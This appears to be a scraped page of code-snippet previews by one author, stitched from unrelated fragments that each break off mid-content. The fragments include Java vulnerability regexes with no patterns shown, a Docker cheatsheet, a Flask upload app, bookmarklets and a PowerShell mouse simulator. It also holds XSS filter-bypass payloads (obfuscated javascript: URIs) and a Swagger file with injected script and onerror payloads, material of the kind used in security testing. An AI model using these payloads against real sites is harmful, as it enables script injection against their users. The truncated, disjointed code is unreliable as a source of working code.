mrrootsec

Useful Regex Patterns to Find Vulnerabilities in Java Code

1. Hardcoded Credentials / Secrets

These patterns look for sensitive information directly embedded in the code.

• Generic Passwords / Secrets / Tokens:

  • Regex:

mrrootsec

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes: 
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]

mrrootsec

<!--javascript -->
ja&Tab;vascript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()

<!--::colon:: -->
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)

mrrootsec

# Docker Cheatsheet

## Tutorial series

Get started with Docker: [https://docs.docker.com/engine/getstarted/](https://docs.docker.com/engine/getstarted/)

## Installation

### Linux

mrrootsec

(function(){
  // http://coding.smashingmagazine.com/2010/05/23/make-your-own-bookmarklets-with-jquery/
	// http://subsimple.com/bookmarklets/jsbuilder.htm

	if(window.jQuery === undefined) {
		var script = document.createElement("script");
		script.src = "https://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js";
		script.onload = script.onreadystatechange = function() {
			bookmarklet();
		};

mrrootsec

from flask import Flask, request, jsonify
import os

app = Flask(__name__)

# Directory where uploaded files will be stored
UPLOAD_FOLDER = './uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

mrrootsec

Python Virtual Environment Tutorial

• How to start Python Development with Python Environment
  • 1. Install python3-venv or python3.x-venv
  • 2. To create a virtual environment, decide which directory where you want to place it
  • 3. Run venv module as a script in your chosen directory path
  • 4. Activate your virtual environment
  • 5. You can start installing your packages
    • 1. Installing a package:
• 2. Installing a package using specific version

mrrootsec

{
  "swagger" : "2.0",
  "info" : {
    "version" : "1.0.100",
    "title" : "title<script language=\"javascript\">alert('1')</script>",
    "description" : "description with **markdown** format <script language=\"javascript\">alert('script-in-description')</script> <img src=x onerror=alert(\"img-in-description\")>"
  },
  "tags" : [ {
    "name" : "Admin",
    "description" : "tag with **markdown**"

mrrootsec

Add-Type -TypeDefinition @"

using System;
using System.Runtime.InteropServices;

public class MouseSimulator {
  [DllImport("user32.dll", SetLastError = true)]
  private static extern void mouse_event(uint dwFlags, int dx, int dy, uint dwData, int dwExtraInfo);
  private const uint MOUSEEVENTF_MOVE = 0x0001;
  

mrrootsec

javascript:(function() {     const e = document.documentElement.innerText.match(/[a-zA-Z_\-]+/g),           n = [...new Set(e)].sort(),           popup = document.createElement('div');      popup.style.position = 'fixed';     popup.style.top = '10%';     popup.style.left = '10%';     popup.style.width = '80%';     popup.style.height = '80%';     popup.style.backgroundColor = 'black';     popup.style.color = 'white';     popup.style.zIndex = '10000';     popup.style.padding = '20px';     popup.style.overflowY = 'scroll';     popup.style.border = '2px solid green';     popup.style.borderRadius = '10px';      const title = document.createElement('h1');     title.innerText = 'Current page wordlist';     title.style.color = 'green';     popup.appendChild(title);      const wordList = document.createElement('div');     wordList.innerHTML = n.join('<br>');     popup.appendChild(wordList);      const closeButton = document.createElement('button');     closeButton.innerText = 'Close';     closeButton.style.position =